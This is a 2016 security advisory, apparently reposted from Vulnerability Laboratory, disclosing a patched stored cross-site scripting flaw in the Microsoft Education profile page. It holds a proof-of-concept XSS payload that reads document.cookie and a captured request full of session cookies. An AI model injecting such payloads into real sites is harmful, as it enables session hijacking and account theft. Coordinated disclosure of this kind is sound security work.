###########################

# Microsoft Education - Stored Cross Site Web Vulnerability

###########################

Document Title:
===============
Microsoft Education - Stored Cross Site Web Vulnerability

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1897

Release Date:
=============
2016-08-10

Vulnerability Laboratory ID (VL-ID):
====================================
1897

Common Vulnerability Scoring System:
====================================
3.6

Product & Service Introduction:
===============================
Our mission is creating immersive and inclusive experiences that inspire lifelong learning, stimulating development of essential life skills and supporting
educators in guiding and nurturing student passions. We empower students and educators to create and share in entirely new ways, to teach and learn through
exploration, to adapt to individual learning needs, so they can make, design, invent and build with technology.

(Copy of the Vendor Homepage: https://www.microsoft.com/en-us/education )

Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a stored cross site scripting vulnerability in the official Microsoft Education online service web-application.

Vulnerability Disclosure Timeline:
==================================
2016-05-01: Researcher Notification & Coordination (SaifAllah benMassaoud)
2016-04-03: Vendor Notification (Microsoft Security Response Center - MSRC)
2016-05-19: Vendor Fix/Patch (Microsoft Developer Team - Online Services)
2016-06-07: Security Acknowledgements (Microsoft Security Response Center - MSRC)
2016-08-10: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
Microsoft Corporation
Product: Education - Online Service (Web-Application) 2016 Q3

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Technical Details & Description:
================================
A stored cross site scripting web vulnerability has been discovered in the official Microsoft Education online service web-application.
The Stored cross site vulnerability allows remote attacker to inject own malicious script codes to the application-side of the module.

The stored cross site scripting web vulnerability is located in the `Default.aspx` file GET method request. During the exploitation the
victim education account retrieves the malicious script to the server when it requests the stored database information. The attack vector
of the issue is application-side and the request method to inject the payload is POST. The execution occurs in the default.aspx file
context after the review of the about me page via GET method request.

The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6.
Exploitation of the input validation web vulnerability requires a low privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious
source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] /Create-My-Account/

Vulnerable File(s):
[+] Default.aspx

Affected Module(s):
[+] About Me

Proof of Concept (PoC):
=======================
The stored xss vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: HTML
<div class="redactor-editor" contenteditable="true" dir="ltr" placeholder="We want to know a little more about you!
Where are you from? What are you passionate about? What do you do professionally? Why are you in the academic field?" style="min-height: 150px;">
<p><a href=""><[SCRIPT CODE PAYLOAD EXECUTE!]img src=x onerror=prompt(document.cookie);>">"><img src=x onerror=prompt(0);></a>â??</p></div>

--- PoC Session Logs [GET] (Execution) ---
GET /trans_pixel.aspx?wcs.et=2&wcs.tz=2&wcs.cot=1&wcs.route=&wcs.ctrl=&wcs.t
s=1463674117956&
wcs.fpc=ID%253D291ac77c5e905943ad046577432c9425%2526CS%253D3%2526LV%253D
201511%2526V%253D1&wcs.cd=0&wcs.eid=67b042c8-b3bb-71f5-d16b-
06031be4e83b&wcs.sr=1600x900&wcs.bs=1583x790&wcs.fi=1&wcs.fv=21.0&wcs.rs
d=education.microsoft.com&wcs.rsus=%2FCreate-My-Account%2F
Default.aspx&wcs.rsqs=%3FReturnUrl%3D%252f%23_%3D_&wcs.rihs=1&wcs.cks=AN
ON%3DA%253D828C73A348BE94807F061C0EFFFFFFFF%2526E%253D125c
%2526W%253D4%3B&wcs.ti=Registration%20-%20Microsoft%20in%20Education&wcs
.v=4&wcs.vct=1&wcs.vs=0&wcs.vclt=1&wcs.vfpv=
&wcs.cn=%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt(0)%3B%3E&wcs.cid=&wcs.
ct=https%3A%2F%2Feducation.microsoft.com%2F
Create-My-Account%2F%2522%253E%253Cimg%2520src%3Dx%2520onerror%3Dprompt(
0)%3B%253E&ms.env=prod&ms.lang=en&ms.loc%E2%80%8B=us&wcs.tr=0 HTTP/1.1
Host: c.microsoft.com:443
Accept: image/webp,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, lzma, sdch
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: MC1=GUID=291ac77c5e905943ad046577432c9425&HASH=7cc7&LV=201511&V=4&LU=144
7064400410; A=I&I=AxUFAAAAAADdBwAAdL0pRuhHCnepjb2bIdKbSA!!&V=4;
MSFPC=ID=291ac77c5e905943ad046577432c9425&CS=3&LV=201511&V=1; WT_NVR_RU=0=technet|msdn:1=:2=; optimizelyEndUserId=oeu1453251327367r0.715856519760564;
omniID=1448099374032_714a_ee07_502c_bc6461068868; TocPosition=1; msdn=L=fr-fr; display-culture=fr-FR; s_fid=650FC362C56A0DD7-35C7C31A91483CF3;
s_nr=1461196627753-New; gssLANG=fr; optimizelySegments=%7B%22223033821%22%3A%22false%22%2C%22223040836%22%3A
%22referral%22%2C%22223082014%22%3A%22
opera%22%2C%22244338170%22%3A%22none%22%2C%222130980600%22%3A%22true%22%
2C%222865651701%22%3A%22true%22%2C%222895200177%22%3A%22true%22%7D;
optimizelyBuckets=%7B%225473160785%22%3A%225458101525%22%2C%225105830997
%22%3A%225111680855%22%7D; __CT_Data=gpv=1&apv_14334_www08=1; WRUID=0;
WT_FPC=id=2c9326bc7e08af4878a1447158626036:lv=1462346822657:ss=146234679
2730; _ensUUID=3dcfa3fd-018c-4cc7-81d8-d16b7b0d9da4;
MUID=25E9410C266A62EC10184956226A6124; ANON=A=828C73A348BE94807F061C0EFFFFFFFF&E=125c&W=4; NAP=V=1.9&E=1202&C=-31ahom088vcpOn38Zxn6dyp2-
gvEEKs4g_KEdDhIplMkM-7ap6-CA&W=4; RioTracking.SessionASID=AxUFAAAAAADdBwAAdL0pRuhHCnepjb2bIdKbSA!!; _ga=GA1.2.893573494.1463672842;
R=200700137-5/19/2016 17:54:27|200447916-12/22/2015 0:29:19; RioTracking.CellCode=200700137; RioTracking.Organic=1;
OnlineTrackingV2.0=CTC=200700137; MS0=4b859c3e914742c8920a3999c22b5386
Referer: https://education.microsoft.com/Create-My-Account/Default.aspx?ReturnUrl
=%2f
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43
-
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 44
Content-Type: image/gif
Date: Thu, 19 May 2016 16:08:36 GMT
Expires: -1
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
Pragma: no-cache
Server: Microsoft-IIS/7.5
Set-Cookie: MS0=4b859c3e914742c8920a3999c22b5386; domain=.microsoft.com; expires=Thu, 19-May-2016 16:38:37 GMT; path=/
X-Powered-By: ASP.NET

Solution - Fix & Patch:
=======================
2016-05-19: Vendor Fix/Patch (Microsoft Developer Team - Online Services)

Security Risk:
==============
The security risk of the stored cross-site-scripting vulnerability in the microsoft education service is estimated as medium. (CVSS 3.6)

Credits & Authors:
==================
SaifAllah benMassaoud & Zahid Mehmood - ( http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud )

Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin (at) vulnerability-lab (dot) com [email concealed] - research (at) vulnerability-lab (dot) com [email concealed] - admin (at) evolution-sec (dot) com [email concealed]
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research (at) vulnerability-lab (dot) com [email concealed]) to get a ask permission.

Copyright é 2016 | Vulnerability Laboratory - [Evolution Security GmbH]�

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2016-08-15]

###########################